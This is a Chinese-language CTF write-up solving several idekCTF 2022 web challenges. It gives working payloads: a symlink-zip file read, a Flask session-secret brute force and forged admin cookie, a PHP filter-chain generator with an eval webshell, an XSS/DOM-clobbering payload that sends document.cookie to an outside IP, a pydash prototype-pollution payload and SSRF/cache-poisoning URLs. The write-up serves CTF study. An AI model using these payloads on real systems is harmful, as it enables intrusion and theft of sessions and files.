Readme

测一下参数,发现 buf 里面是伪随机数

当我们传入 1,2,3,后端会进行累加,最后是 6

1
2
3
{
    "orders":[123]
}

但是测试了 100,后端居然直接加了 4096

通过这一段代码,找到我们需要累加到的数字: 12625

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func justFindIt(w http.ResponseWriter, r *http.Request) {
count := 0
for true {
count++
reader := bytes.NewReader(randomData)
validator := NewValidator()
ctx := context.Background()
ctx = WithValidatorCtx(ctx, reader, int(count))
_, err := validator.Read(ctx)
if err != nil {

}
if err := validator.Validate(ctx); err != nil {
fmt.Println("validation failed: ", count)
continue
}
fmt.Println("find: ", count)
w.Write([]byte(fmt.Sprintf("find: %s\n", count)))
break
}
}

于是最终的 payload: 4096*3+99*3+40=12625

1
2
3
{
"orders": [100, 100, 100, 99, 99, 99, 40]
}

SimpleFileServer

就是简单的 unzip 任意文件读取

1
rm test && ln -s /app/config test && zip -y 1.zip test

读取到的 config.py

1
2
3
4
5
6
7
import random
import os
import time

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

再读取 /tmp/server.log

1
2
3
4
5
6
[2023-01-13 23:04:17 +0000] [9] [INFO] Starting gunicorn 20.1.0
[2023-01-13 23:04:17 +0000] [9] [INFO] Listening at: http://0.0.0.0:1337 (9)
[2023-01-13 23:04:17 +0000] [9] [INFO] Using worker: sync
[2023-01-13 23:04:17 +0000] [15] [INFO] Booting worker with pid: 15
[2023-01-13 23:04:17 +0000] [16] [INFO] Booting worker with pid: 16
[2023-01-13 23:04:18 +0000] [17] [INFO] Booting worker with pid: 17

计算了时间戳大概在 1673651057(UTC) 或 1673622257(GMT) 左右,而这里 +0000 说明题目环境是 UTC

注意 time.time() 是会有小数点存在的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import random
import os

SECRET_OFFSET = -67198624
# 北京时间: -28800 正常时间: 0
# 北京时间: 0 正常时间: 28800
# 北京时间: 1673622257 正常时间: 1673651057
time = 1673651057
time = (time + SECRET_OFFSET) * 1000
while(True):
random.seed(round(time))
key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
print(time)
print(f"test-key: "+ key)
r = os.popen("python3 /tools/flask-session-cookie-manager/flask_session_cookie_manager3.py decode -s '" + key + "' -c 'eyJhZG1pbiI6bnVsbCwidWlkIjoibDFuIn0.Y8JYaA.QJWS_pCRHo3ITLTcgto1VjAstzs'").read()
# print(r)
if('l1n' in r):
print(f"find!!! "+key)
break
else:
print(f"fail~~ "+key)
time += 1

1
2
└─$ python3 flask_session_cookie_manager3.py encode -s '84787d274d6b7e03d94ce2dcbfe85bf1' -t "{'admin':1}"
eyJhZG1pbiI6MX0.Y8J-FA.IndZknlKXMWan07-Rul5NjCOfrU
1
2
└─$ curl http://simple-file-server.chal.idek.team:1337/flag --Cookie "session=eyJhZG1pbiI6MX0.Y8J-FA.IndZknlKXMWan07-Rul5NjCOfrU"
idek{s1mpl3_expl01t_s3rver}

Paywall

改一改 github 脚本 https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
file_to_use = "/etc/passwd"
file_to_use = "flag"

#<?php eval($_GET[1]);?>a
base64_payload = "PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h"

# FREE
base64_payload = "RlJFRSAg"

# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += open('./res/'+(str(hex(ord(c)))).replace("0x","")).read() + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

with open('test.php','w') as f:
f.write('<?php echo file_get_contents("'+final_payload+'");?>')
print(final_payload)
1
curl "127.0.0.1:80/?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag" --output 1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ cat 1.txt

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="assets/style.css">
<title>The idek Times</title>
</head>
<body>

<main>
<nav>
<h1>The idek Times</h1>
</nav>

<article>FREE PREMIUM - idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}�@C������>==�@C������>==�@</article>

json_beautifier(复现)

the flag is stored in the admin’s cookie

推荐两个 Dom Clobbering 检测工具

url 输入

1
http://json-beautifier.chal.idek.team:1337/?json={%22a%22:%221%3C/pre%3E%3Cimg%20src=x%20onerror=alert(1)%20/%3E%3Cpre%3E2%22}

可以直接填入 json

经过本地测试,如果没有 csp 防护,这样的 payload 可以触发弹窗

Dom Clobbering 绕过 csp ?

1
2
3
4
5
6
7
8
9
10
11
12
13
const beautify = () => {
......
const cols = `this.config?.opts?.cols` || defaults.opts.cols;
output = JSON.stringify(userJson, null, cols);

console.log(this.config?.opts)

if(this.config?.debug || defaults.debug){
eval(`beautified = ${output}`);
return beautified;
};
outputBox.innerHTML = `<pre>${output}</pre>`
}

以为是单纯的绕过 CSP,没想到是直接 DOM Clobbering

对于 this.config?.opts?.cols 是可以使用 Dom Clobbering 来给他直接赋值的

但是,此题目中,我们是在还没 Dom 破坏的时候获取 this.config?.opts?.cols,之后插入 json 格式数据才进行了 Dom 破坏

For Dom Clobbering

so how do we clobber config.opts.cols? traditional clobbering wont work here, so we need to find an HTML element that has a cols attribute can be a string. for this, we can use a frameset! a good way to find this would be by using some of the examples in this post: https://portswigger.net/research/dom-clobbering-strikes-back

同时赋值两个变量

1
2
3
4
<iframe
name="config"
srcdoc='<frameset id=opts cols="test"><frame name=debug>1</frame></frameset>'
></iframe>

For eval

1
2
3
4
5
6
output = JSON.stringify(userJson, null, cols);

if (this.config?.debug || defaults.debug) {
eval(`beautified = ${output}`);
return beautified;
}

JSON.stringify 最多只能插入 10 个字符,我们需要额外引入一个变量

1
2
console.log(JSON.stringify({ a: "a" }, null, "12345678901"));
('{ 1234567890"a": "a" }');

重新加载 main.js

通过写 frame,在 frame 中写入恶意 HTML 造成 Dom 破坏,然后重新加载一次 main.js,执行到 eval

1
2
3
4
<iframe
name='fetch("http://192.168.43.128:1234/?"+document.cookie)'
srcdoc='<iframe name=config srcdoc=&#039;<head><title id=debug>test</title></head><frameset id=opts cols=x:eval(/*, */name)//></frameset>&#039;></iframe><div id=json-input>{"x":&quot*/name)//&quot}</div><script src=static/js/main.js></script>'
></iframe>

最后执行的 eval 是这样的

1
2
3
beautified = {
x: eval(/*,{"x":"*/ name), //"
};

idek{w0w_th4t_JS0N_i5_v3ry_beautiful!!!}

badblocker(复现)

原型链污染 ?

import-history.html

1
2
3
4
5
6
7
8
9
10
11
12
13
window.blockHistory = combineHistories(window.blockHistory, newHistory);

function combineHistories(history, addedHistory) {
for (const [date, record] of Object.entries(addedHistory)) {
if (!(date in history)) history[date] = {};

for (const [k, v] of Object.entries(record)) {
history[date][k] = v; // 🅱️
}
}

return history;
}

XSS 可控 innerHTML

index.html utils.js 中的 innerHTML 都因为 URL 编码,插不了 js 代码

1
2
3
4
5
6
7
8
document.getElementById("exportHistory").addEventListener("click", () => {
let shareLink = `${
location.origin
}/import-history.html?history=${encodeURIComponent(
JSON.stringify(window.blockHistory)
)}`;
info.innerHTML = `Copy this link: <br><code style="word-break: break-word">${shareLink}</code>`;
});

此处有一个遗漏,就是 numBlocked,如果能插入 <img src= /> 就成功了

1
2
3
4
5
6
7
// show everything
for (const [date, { url, numBlocked }] of Object.entries(history).reverse()) {
historyHTML += `<p>${new Date(+date).toDateString()} - <code>${encodeURI(
url
)}</code><br>
<b>${numBlocked} ads blocked</b></p>`;
}

原型链污染和for (const [date, { url, numBlocked }] of Object.entries(history).reverse())

原型链污染之后还要达到一定的条件才会触发······

task manager(复现)

预期解太难了······

python 的原型链污染······

有一个不完全的任意文件读取漏洞,但是当我们传入 ..%2f..%2f..%2f..%2f..%2fetc%2fpasswd,会返回 jinja2.exceptions.TemplateNotFound: ../../../../etc/passwd

1
2
3
4
5
@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)

这题非预期的地方在于 Dockerfile,COPY . . 把包含了 flag 的 Dockerfile 也拷贝到了容器里面

如果能做到任意文件读取,那么这里的 /flag-$(head -c 16 /dev/urandom | xxd -p).txt 也就没有意义了,我们直接读 /app/Dockerfile 就可以拿到 flag

1
2
3
4
5
RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt

WORKDIR /app

COPY . .

我们传入 task 和 status 参数会调用到 tasks.get(task)

1
2
3
4
5
6
7
class TaskManager:
protected = ["set", "get", "get_all", "__init__", "complete"]
def set(self, task, status):
if task in self.protected:
return
pydash.set_(self, task, status)
return True

漏洞点在于 pydash.set_(self, task, status),题目对 task 做了黑名单检测,不能出现这些字符串 ["set", "get", "get_all", "__init__", "complete"]

discord 频道上他人使用的 payload: 污染使得os.path.pardir != ".."即可以任意文件读

1
task="__init__.__globals__.pydash.cond.__globals__.randint.__globals__._os.path.pardir"

Proxy Viewer(复现)

nginx proxy_cache 缓存

1
2
3
4
5
6
7
location ^~ /static/ {
proxy_pass http://localhost:3000;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_cache my_zone;
add_header X-Proxy-Cache $upstream_cache_status;
}

传入的 path 参数会用到 urlopen 打开 page = urlopen(path, timeout=.5)

如果路径中匹配到/static/就可以通过 SSRF 本地打开将 flag 保存到 nginx 缓存中,之后就可以非本地直接访问了,不需要执行 app.py 程序

用 %23 注释掉后面的部分 /static/

nginx 缓存不稳定?无法稳定复现~

  1. https://proxy-viewer-9e49f6fd458ec779.instancer.idek.team/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fstatic%252Fa
  2. https://proxy-viewer-9e49f6fd458ec779.instancer.idek.team/proxy/file:///flag.txt%23%2F..%2F..%2F..%2Fstatic%2Fa

Stargazer(复现)

https://github.com/nyxsorcerer/idekctf-2022-stargazer